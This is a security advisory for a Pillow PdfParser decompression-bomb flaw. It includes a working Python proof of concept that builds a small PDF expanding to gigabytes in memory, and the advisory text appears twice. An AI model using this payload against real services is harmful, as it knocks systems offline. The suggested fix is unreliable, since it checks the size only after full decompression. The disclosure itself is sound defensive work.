CVE-2026-59200

### Summary `PdfParser.PdfStream.decode()` in Pillow's `PdfParser.py` calls `zlib.decompress()` with the `bufsize` parameter set to the value of the PDF stream's `Length` field, without any upper bound on the actual decompressed output size. Python's `zlib.decompress()` `bufsize` argument is an *initial output buffer hint*, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses `PdfParser` to read untrusted PDF files. ### Details `PdfStream.decode()` in `pdfminer/PdfParser.py` reads the stream's declared `Length` (or `DL`) field from the PDF dictionary and passes it as `bufsize` to `zlib.decompress()`: ```python # PIL/PdfParser.py — PdfStream.decode() class PdfStream: def decode(self) -> bytes: try: filter = self.dictionary[b"Filter"] except KeyError: return self.buf if filter == b"FlateDecode": try: expected_length = self.dictionary[b"DL"] except KeyError: expected_length = self.dictionary[b"Length"] return zlib.decompress(self.buf, bufsize=int(expected_length)) # ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ # bufsize is an *initial buffer hint*, NOT a maximum size limit. # zlib.decompress() allocates as much memory as needed regardless. ``` From the Python documentation: *"The `bufsize` parameter is used as the initial size of the output buffer."* It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting `Length` to any value (including the actual compressed size) to avoid triggering format validation. `PdfParser` is instantiated with a filename or file object and calls `read_pdf_info()` on open, which parses the xref table and makes stream objects accessible. `PdfStream.decode()` is reachable whenever calling code accesses a compressed stream object from the parsed PDF. **Confirmed reachable path:** ```python with PdfParser.PdfParser("evil.pdf") as pdf: stream_obj, _ = pdf.get_value(pdf.buf, stream_offset) data = stream_obj.decode() # ← OOM here ``` ### PoC ```python import zlib, tempfile, os, time from PIL import PdfParser # Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale) EXPAND_MB = 100 raw = b'\x00' * (EXPAND_MB * 1_000_000) compressed = zlib.compress(raw, level=9) # ~97 KB buf = b'%PDF-1.4\n' o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n' o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n' o3 = len(buf) hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode() buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n' xref = len(buf) buf += b'xref\n0 4\n0000000000 65535 f \n' for off in [o1, o2, o3]: buf += f'{off:010d} 00000 n \n'.encode() buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n' print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)") with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f: f.write(buf); tmpname = f.name with PdfParser.PdfParser(tmpname) as pdf: obj, _ = pdf.get_value(pdf.buf, o3) t = time.time() decoded = obj.decode() print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s") os.unlink(tmpname) ``` **Actual output (Pillow 12.1.1, Python 3.12):** ``` PDF size: 97,538 bytes (95.3 KB) Decoded: 100,000,000 bytes in 0.265s ``` **Measured expansion:** | PDF file size | Memory allocated | Ratio | Wall time | |---|---|---|---| | 10 KB | 10 MB | 1,026× | 0.024 s | | 95 KB | 100 MB | 1,028× | 0.265 s | | 475 KB | 500 MB | 1,028× | 1.279 s | | 950 KB | 1,000 MB (1 GB) | 1,028× | 2.668 s | ### Impact This is a denial-of-service vulnerability. Any application that uses `PIL.PdfParser.PdfParser` to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required. **Note:** This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion `PIL/PdfImagePlugin.py` decompression issue. It exists specifically in Pillow's own `PdfParser.py` module, which is distinct from pdfminer.six. **Suggested fix:** ```python MAX_DECOMPRESS_BYTES = 200 * 1024 * 1024 # 200 MB cap def decode(self) -> bytes: ... if filter == b"FlateDecode": ... result = zlib.decompress(self.buf, bufsize=int(expected_length)) if len(result) > MAX_DECOMPRESS_BYTES: msg = "Decompressed stream exceeds maximum allowed size" raise ValueError(msg) return result ```

Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.

### Summary `PdfParser.PdfStream.decode()` in Pillow's `PdfParser.py` calls `zlib.decompress()` with the `bufsize` parameter set to the value of the PDF stream's `Length` field, without any upper bound on the actual decompressed output size. Python's `zlib.decompress()` `bufsize` argument is an *initial output buffer hint*, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses `PdfParser` to read untrusted PDF files. ### Details `PdfStream.decode()` in `pdfminer/PdfParser.py` reads the stream's declared `Length` (or `DL`) field from the PDF dictionary and passes it as `bufsize` to `zlib.decompress()`: ```python # PIL/PdfParser.py — PdfStream.decode() class PdfStream: def decode(self) -> bytes: try: filter = self.dictionary[b"Filter"] except KeyError: return self.buf if filter == b"FlateDecode": try: expected_length = self.dictionary[b"DL"] except KeyError: expected_length = self.dictionary[b"Length"] return zlib.decompress(self.buf, bufsize=int(expected_length)) # ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ # bufsize is an *initial buffer hint*, NOT a maximum size limit. # zlib.decompress() allocates as much memory as needed regardless. ``` From the Python documentation: *"The `bufsize` parameter is used as the initial size of the output buffer."* It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting `Length` to any value (including the actual compressed size) to avoid triggering format validation. `PdfParser` is instantiated with a filename or file object and calls `read_pdf_info()` on open, which parses the xref table and makes stream objects accessible. `PdfStream.decode()` is reachable whenever calling code accesses a compressed stream object from the parsed PDF. **Confirmed reachable path:** ```python with PdfParser.PdfParser("evil.pdf") as pdf: stream_obj, _ = pdf.get_value(pdf.buf, stream_offset) data = stream_obj.decode() # ← OOM here ``` ### PoC ```python import zlib, tempfile, os, time from PIL import PdfParser # Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale) EXPAND_MB = 100 raw = b'\x00' * (EXPAND_MB * 1_000_000) compressed = zlib.compress(raw, level=9) # ~97 KB buf = b'%PDF-1.4\n' o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n' o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n' o3 = len(buf) hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode() buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n' xref = len(buf) buf += b'xref\n0 4\n0000000000 65535 f \n' for off in [o1, o2, o3]: buf += f'{off:010d} 00000 n \n'.encode() buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n' print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)") with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f: f.write(buf); tmpname = f.name with PdfParser.PdfParser(tmpname) as pdf: obj, _ = pdf.get_value(pdf.buf, o3) t = time.time() decoded = obj.decode() print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s") os.unlink(tmpname) ``` **Actual output (Pillow 12.1.1, Python 3.12):** ``` PDF size: 97,538 bytes (95.3 KB) Decoded: 100,000,000 bytes in 0.265s ``` **Measured expansion:** | PDF file size | Memory allocated | Ratio | Wall time | |---|---|---|---| | 10 KB | 10 MB | 1,026× | 0.024 s | | 95 KB | 100 MB | 1,028× | 0.265 s | | 475 KB | 500 MB | 1,028× | 1.279 s | | 950 KB | 1,000 MB (1 GB) | 1,028× | 2.668 s | ### Impact This is a denial-of-service vulnerability. Any application that uses `PIL.PdfParser.PdfParser` to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required. **Note:** This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion `PIL/PdfImagePlugin.py` decompression issue. It exists specifically in Pillow's own `PdfParser.py` module, which is distinct from pdfminer.six. **Suggested fix:** ```python MAX_DECOMPRESS_BYTES = 200 * 1024 * 1024 # 200 MB cap def decode(self) -> bytes: ... if filter == b"FlateDecode": ... result = zlib.decompress(self.buf, bufsize=int(expected_length)) if len(result) > MAX_DECOMPRESS_BYTES: msg = "Decompressed stream exceeds maximum allowed size" raise ValueError(msg) return result ```